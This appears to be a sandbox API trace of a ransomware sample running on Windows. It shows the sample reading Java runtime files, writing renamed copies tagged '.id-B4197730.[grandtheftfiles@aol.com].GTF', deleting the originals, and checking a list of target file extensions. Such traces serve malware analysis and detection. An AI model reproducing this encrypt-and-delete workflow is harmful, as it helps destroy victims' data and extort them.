	[0071.588] lstrlenW (lpString="splash_11@2x-lic.gif") returned 20
	[0071.588] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.588] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=12250) returned 1
	[0071.588] CloseHandle (hObject=0x368) returned 1
	[0071.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20
	[0071.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.589] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.589] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.589] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.589] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0071.589] GetLastError () returned 0x0
	[0071.589] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x2fda, lpOverlapped=0x0) returned 1
	[0071.605] WriteFile (in: hFile=0x320, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x2fe0, lpOverlapped=0x0) returned 1
	[0071.606] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.606] WriteFile (in: hFile=0x320, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0071.606] SetEndOfFile (hFile=0x320) returned 1
	[0071.606] CloseHandle (hObject=0x320) returned 1
	[0071.607] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.607] SetEndOfFile (hFile=0x368) returned 1
	[0071.608] CloseHandle (hObject=0x368) returned 1
	[0071.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0071.609] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1
	[0071.609] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0071.609] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0071.609] lstrlenW (lpString=".doc") returned 4
	[0071.609] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0071.609] lstrlenW (lpString=".docx") returned 5
	[0071.609] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0071.609] lstrlenW (lpString=".pdf") returned 4
	[0071.609] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0071.609] lstrlenW (lpString=".xls") returned 4
	[0071.609] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0071.609] lstrlenW (lpString=".xlsx") returned 5
	[0071.609] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0071.609] lstrlenW (lpString=".ppt") returned 4
	[0071.609] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0071.609] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0071.609] lstrlenW (lpString=".zip") returned 4
	[0071.609] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0071.609] lstrlenW (lpString=".rar") returned 4
	[0071.609] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0071.609] lstrlenW (lpString=".bz2") returned 4
	[0071.609] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0071.610] lstrlenW (lpString=".7z") returned 3
	[0071.610] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0071.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0071.610] lstrlenW (lpString=".dbf") returned 4
	[0071.610] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0071.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0071.610] lstrlenW (lpString=".1cd") returned 4
	[0071.610] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0071.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0071.610] lstrlenW (lpString=".jpg") returned 4
	[0071.610] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0071.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0071.610] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0071.610] lstrlenW (lpString=".doc") returned 4
	[0071.610] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0071.610] lstrlenW (lpString=".docx") returned 5
	[0071.610] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0071.610] lstrlenW (lpString=".pdf") returned 4
	[0071.610] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0071.610] lstrlenW (lpString=".xls") returned 4
	[0071.610] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0071.610] lstrlenW (lpString=".xlsx") returned 5
	[0071.610] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0071.610] lstrlenW (lpString=".ppt") returned 4
	[0071.610] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0071.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0071.614] lstrlenW (lpString=".zip") returned 4
	[0071.614] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0071.614] lstrlenW (lpString=".rar") returned 4
	[0071.614] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0071.614] lstrlenW (lpString=".bz2") returned 4
	[0071.614] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0071.614] lstrlenW (lpString=".7z") returned 3
	[0071.614] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0071.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0071.614] lstrlenW (lpString=".dbf") returned 4
	[0071.614] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0071.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0071.614] lstrlenW (lpString=".1cd") returned 4
	[0071.614] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0071.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0071.614] lstrlenW (lpString=".jpg") returned 4
	[0071.614] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0071.614] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0071.614] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25
	[0071.614] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.615] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=153) returned 1
	[0071.615] CloseHandle (hObject=0x368) returned 1
	[0071.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20
	[0071.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.616] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.616] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.616] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.616] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.617] GetLastError () returned 0x0
	[0071.617] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x99, lpOverlapped=0x0) returned 1
	[0071.618] WriteFile (in: hFile=0x338, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0071.619] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.619] WriteFile (in: hFile=0x338, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x106, lpOverlapped=0x0) returned 1
	[0071.619] SetEndOfFile (hFile=0x338) returned 1
	[0071.626] CloseHandle (hObject=0x338) returned 1
	[0072.517] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.517] SetEndOfFile (hFile=0x368) returned 1
	[0072.919] CloseHandle (hObject=0x368) returned 1
	[0072.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0072.953] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1
	[0072.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0072.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0072.973] lstrlenW (lpString=".doc") returned 4
	[0072.973] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0072.973] lstrlenW (lpString=".docx") returned 5
	[0072.973] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0072.973] lstrlenW (lpString=".pdf") returned 4
	[0072.973] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0072.973] lstrlenW (lpString=".xls") returned 4
	[0072.973] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0072.973] lstrlenW (lpString=".xlsx") returned 5
	[0072.973] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0072.973] lstrlenW (lpString=".ppt") returned 4
	[0072.973] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0072.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0072.973] lstrlenW (lpString=".zip") returned 4
	[0072.973] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0072.973] lstrlenW (lpString=".rar") returned 4
	[0072.973] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0072.973] lstrlenW (lpString=".bz2") returned 4
	[0072.973] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0072.973] lstrlenW (lpString=".7z") returned 3
	[0072.973] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0072.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0072.973] lstrlenW (lpString=".dbf") returned 4
	[0072.973] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0072.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0072.973] lstrlenW (lpString=".1cd") returned 4
	[0072.973] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0072.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0072.974] lstrlenW (lpString=".jpg") returned 4
	[0072.974] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0072.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0072.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0072.974] lstrlenW (lpString=".doc") returned 4
	[0072.974] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0072.974] lstrlenW (lpString=".docx") returned 5
	[0072.974] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0072.974] lstrlenW (lpString=".pdf") returned 4
	[0072.974] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0072.974] lstrlenW (lpString=".xls") returned 4
	[0072.974] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0072.974] lstrlenW (lpString=".xlsx") returned 5
	[0072.974] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0072.974] lstrlenW (lpString=".ppt") returned 4
	[0072.974] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0072.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0072.974] lstrlenW (lpString=".zip") returned 4
	[0072.974] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0072.974] lstrlenW (lpString=".rar") returned 4
	[0072.974] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0072.974] lstrlenW (lpString=".bz2") returned 4
	[0072.974] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0072.974] lstrlenW (lpString=".7z") returned 3
	[0072.974] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0072.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0072.974] lstrlenW (lpString=".dbf") returned 4
	[0072.974] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0072.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0072.974] lstrlenW (lpString=".1cd") returned 4
	[0072.974] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0072.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0072.974] lstrlenW (lpString=".jpg") returned 4
	[0072.974] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0072.975] lstrcmpiW (lpString1=".txt", lpString2=".GTF") returned 1
	[0072.975] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34
	[0072.975] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.975] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=63933) returned 1
	[0072.975] CloseHandle (hObject=0x368) returned 1
	[0072.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20
	[0072.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0072.976] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.976] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.976] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.976] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0072.976] GetLastError () returned 0x0
	[0072.976] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xf9bd, lpOverlapped=0x0) returned 1
	[0072.979] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xf9c0, lpOverlapped=0x0) returned 1
	[0072.981] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.981] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x118, lpOverlapped=0x0) returned 1
	[0072.981] SetEndOfFile (hFile=0x2d0) returned 1
	[0072.981] CloseHandle (hObject=0x2d0) returned 1
	[0072.983] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.983] SetEndOfFile (hFile=0x368) returned 1
	[0072.988] CloseHandle (hObject=0x368) returned 1
	[0072.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0072.988] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1
	[0072.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0072.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0072.989] lstrlenW (lpString=".doc") returned 4
	[0072.989] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0072.989] lstrlenW (lpString=".docx") returned 5
	[0072.989] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1
	[0072.989] lstrlenW (lpString=".pdf") returned 4
	[0072.989] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0072.989] lstrlenW (lpString=".xls") returned 4
	[0072.989] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0072.989] lstrlenW (lpString=".xlsx") returned 5
	[0072.989] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1
	[0072.989] lstrlenW (lpString=".ppt") returned 4
	[0072.989] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0072.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0072.989] lstrlenW (lpString=".zip") returned 4
	[0072.989] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0072.989] lstrlenW (lpString=".rar") returned 4
	[0072.989] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0072.989] lstrlenW (lpString=".bz2") returned 4
	[0072.989] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0072.989] lstrlenW (lpString=".7z") returned 3
	[0072.989] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0072.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0072.989] lstrlenW (lpString=".dbf") returned 4
	[0072.989] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0072.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0072.989] lstrlenW (lpString=".1cd") returned 4
	[0072.989] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0072.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0072.990] lstrlenW (lpString=".jpg") returned 4
	[0072.990] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0072.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0072.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0072.990] lstrlenW (lpString=".doc") returned 4
	[0072.990] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0072.990] lstrlenW (lpString=".docx") returned 5
	[0072.990] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1
	[0072.990] lstrlenW (lpString=".pdf") returned 4
	[0072.990] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0072.990] lstrlenW (lpString=".xls") returned 4
	[0072.990] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0072.990] lstrlenW (lpString=".xlsx") returned 5
	[0072.990] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1
	[0072.990] lstrlenW (lpString=".ppt") returned 4
	[0072.990] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0072.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0072.990] lstrlenW (lpString=".zip") returned 4
	[0072.990] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0072.990] lstrlenW (lpString=".rar") returned 4
	[0072.990] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0072.990] lstrlenW (lpString=".bz2") returned 4
	[0072.990] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0072.990] lstrlenW (lpString=".7z") returned 3
	[0072.990] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0072.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0072.990] lstrlenW (lpString=".dbf") returned 4
